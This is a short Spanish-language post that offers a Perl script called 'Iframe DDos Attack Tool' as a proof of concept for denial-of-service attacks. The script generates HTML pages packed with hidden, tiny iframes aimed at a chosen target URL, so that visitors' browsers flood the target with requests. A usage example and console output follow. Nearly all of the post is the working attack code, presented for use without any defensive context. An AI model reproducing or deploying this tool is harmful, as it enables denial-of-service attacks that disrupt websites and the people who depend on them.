Un simple poc para la los ataques de denegacion de servicio usando
iframes.
#!usr/bin/perl
#Iframe DDos Attack Tool (C) Doddy Hackman 2011
use Cwd;
installer();
sub head {
print "\n\n-- == Iframe DDos Attack Tool == --\n\n";
}
sub copyright {
print "\n\n -- == Doddy Hackman 2011\n\n";
}
sub sintax {
print "\n[+] sintax : $0 <target> <count file> <count iframe>\n";
}
sub start {
my ($target,$files,$iframe) = @_;
print "\n[+] Starting the party\n\n";
print "[+] Generating files and iframes\n";
print "\n[+] All Save in ".getcwd()."/files/"."\n";
for my $can(1..$files) {
open (POC,">>files/index".$can.".html");
for my $tx(1..$iframe) {
print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>';
}
close POC;
}
}
head();
unless(@ARGV > 2) {
sintax();
} else {
start($ARGV[0],$ARGV[1],$ARGV[2]);
}
copyright();
sub installer {
unless (-d "files/") {
mkdir("files/","777");
}}
# ¿ The End ?
Ejemplo de uso
C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
Finales\poc iframe>poc.pl "pepo.com" 4 4
-- == Iframe DDos Attack Tool == --
[+] Starting the party
[+] Generating files and iframes
[+] All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack
ing/WarFactoy II Finales/poc iframe/files/
-- == Doddy Hackman 2011